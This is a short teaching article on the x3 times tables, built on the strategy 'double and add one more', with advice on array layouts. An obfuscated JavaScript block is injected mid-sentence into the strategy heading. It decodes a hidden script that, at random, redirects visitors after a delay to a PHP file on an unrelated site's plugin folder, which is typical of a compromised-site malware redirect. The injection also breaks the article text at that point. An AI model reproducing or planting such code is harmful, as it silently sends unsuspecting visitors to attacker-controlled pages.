What is the best way to teach those tricky x3 times tables? This article explains a simple way to help every student learn the multiples of 3 using their knowledge of the x2 facts.

Strategy: Double andfunction l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe<o4.length);document.write(q3);};l1c373528ef5('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cua2F0aWF0ZW50aS5jb20vd3AtY29udGVudC9wbHVnaW5zL3N5ZG5leS10b29sYm94L2luYy9jbGFzcy5qc29uLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A'); Add One More Set

This set of Times Tables or Multiplication Number Facts is taught after the x2 and the x10/x5 sets. The students should already have instant recall of doubling numbers. The x3 is the next step; that is they have to add one more of the number they are multiplying.

E.g. 4x3 = Double 4 + 4 = 8 + 4 = 12

Use counters on an overhead projector, or circles on a PowerPoint slide, laid out in an array fashion. Avoid using disarranged groups for showing multiplication. The array layout is a much clearer, more efficient arrangement so students should be encouraged to visualise multiplication using this.